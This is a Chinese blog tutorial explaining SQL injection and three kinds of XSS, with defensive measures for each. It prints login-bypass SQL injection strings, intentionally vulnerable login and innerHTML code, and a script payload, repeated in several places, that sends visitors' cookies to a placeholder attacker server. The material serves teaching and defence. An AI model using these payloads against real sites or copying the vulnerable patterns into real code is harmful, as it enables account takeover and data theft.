Web前端常见的安全问题介绍及解决方案(一)

废话不多说,直接进主题(就是这么暴躁),以下是今天要总结的几个Web前端安全问题:

  1. SQL注入
  2. XSS
  3. CSRF
  4. target=”_balnk”存在的问题

SQL注入

SQL攻击(英语:SQL injection),简称注入攻击,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。(注:维基百科

具体到前端开发中,很多Web开发者没有意识到SQL查询是可以被篡改的,在接口调用中没有检验、过滤用户的输入,使得攻击者可以向后端提交恶意的SQL查询代码,后端在接收到请求参数后也没有检验和过滤直接将恶意代码作为查询语句的一部分执行,这就可能导致数据库信息泄露,甚至出现数据库权限更改、删库等重大事故。

举个栗子

假设我们的前端页面中有这么一个登录表单

<form action="/login" method="POST">
    <p>用户名:<input type="text" name="username" /></p>
    <p>密码:<input type="password" name="password" /></p>
    <button type="submit">登录</button>
</form>

后端中的登录处理伪代码如下:

username = request.form.username
password = request.form.password
sql = `SELECT * FROM user WHERE username = ${username} AND password = ${password}`
result = Database.query(sql)
if (result) {
    // login success
} else {
    // login fail
}

表面上看这样的交互似乎没有什么问题,但是如果你对SQL语句比较熟悉的话,那么这样的结构其实漏洞百出。

比如我们传递一个这样的参数

{
    "username": "'test' --",
    "password": "任意值"
}

后端执行的SQL语句会变成以下语句

SELECT * FROM user WHERE username = 'test' -- AND password = '任意值'

了解SQL语句的同学应该都知道,--在SQL中是注释标记,在它之后的代码都不执行。那么一个可怕的结果就出现了,即使我不知道你的密码,但是只要我知道你的用户名,我就可以直接登录你的账号。

上面只是简单的举个例子,但是如果真的是这样的处理方式,哪怕不知道你的用户名都可以登录成功,比如传递这样的参数

{
    "username": "'test' OR username LIKE '%1%' --",
    "password": "任意值"
}

对应的SQL变为

SELECT * FROM user WHERE username = 'test' OR username LIKE '%1%' -- AND password = '任意值'

这还不是最可怕的后果,如果后端服务所用的数据库账户权限足够高的话,攻击者完全可以在数据库添加读写权限的账户,进而控制整个数据库的权限。在有些SQL服务中,甚至可以创建系统用户,那就连服务器都会落入攻击者的掌握之中。

既然SQL注入这么危险,那么要如何防范?

防范措施

防范SQL注入有一个很重要的原则,那就是

永远不要信任外界的任何输入

例如表单、选择框、cookie等等

以下是对SQL注入的一些防范措施:

  1. 限制提供给Web应用接口的后端服务的数据库操作权限,只给用户提供满足需求的最低权限(比如避免SQL注入添加数据库管理员)
  2. web端检查输入数据,严格限制变量类型,正则匹配输入是否含有恶意代码关键字等
  3. 对于需要添加到SQL语句中的参数,将其包含的特殊符号进行必要的转义处理或编码转换
  4. 采用SQL服务的参数化查询接口,减量避免直接拼接后执行SQL语句
  5. 发布前使用专业的SQL检测工具进行检测,如sqlmap等
  6. 前端请求结果不显示SQL语句的错误信息(或后端不返回),否则攻击者可以不断的推测数据库的表结构

XSS —— 跨站脚本

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言(注:维基百科)

有个有意思的小点点,Cross-site scripting的缩写本应该是CSS,但是为了和Cascading Style Sheet(层叠样式表,不知道我在说什么的前端同学自己去蹲墙角)区分开来,所以将其缩写成XSS

很多同学对XSS的了解可能只是停留在不过滤用户输入可能导致XSS漏洞,但其实这一池子水还是蛮深的

来,我们憋口气扎进去瞧瞧:

分类

总的来说,XSS 分为三类,存储型XSS反射型XSSDOM-Based XSS

存储型XSS

数据库中某些字段存有XSS攻击数据,在客户端获取后未经过转移直接被浏览器渲染就可能导致XSS攻击。受害人数较多,凡是打开相应页面请求相应数据的人都会中招。

按照套路出牌,我们举个栗子:

假设有一个博客园或者论坛之类的网站,我在上面发了一篇文章,内容包含以下攻击代码

<script>window.open("www.myserver.com?param="+document.cookie)</script>

如果网站没有进行处理直接渲染的话,那么凡是打开我这篇文章的人,他们的cookie信息都会发送到我的服务器上。

反射型XSS

给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能触发。

举个栗子:

假如有这么一个链接http://test.com?content=hello world,打开之后页面直接显示

hello world

这种从参数中提取数据然后加载到HTML代码中的方式,如果对于参数没有过滤,就会出现XSS漏洞

比如我们给用户发送一个这样的链接

http://test.com?content=<script>window.open("www.myserver.com?param="+document.cookie)</script>

跟上面一样,凡是打开这个链接的人,他们的cookie信息就会发送到我的服务器上。

DOM-Based XSS

DOM-Based XSS漏洞是基于文档对象模型(Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如url ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM-Based XSS漏洞。(注:引用自百度文库)

举个栗子:

假如有这么一个页面

<div id="test"></div>
<input type="text" id="input" />
<button onclick="test()">提交</button>
<script>
    function test () {
        var text = document.getElementById('input').value
        document.getElementById('test').innerHTML = text
    }
</script>

假如我们在输入框中输入

<script>window.open("www.myserver.com?param="+document.cookie)</script>

那么cookie又一次发送到了我的服务器上

防范措施

XSS的防范措施其实和SQL注入有很多类似的地方,首先是原则

永远不要信任外界的任何输入

具体措施:

  1. web端检查输入数据,严格限制变量类型,正则匹配输入是否含有恶意代码关键字等
  2. 对输入中的特殊符号进行必要的转义处理或编码转换
  3. 页面输出时也要做转移处理或编码转换

结尾

一不小心就是两千多字,剩下的两个问题留到下一篇中再讲

0%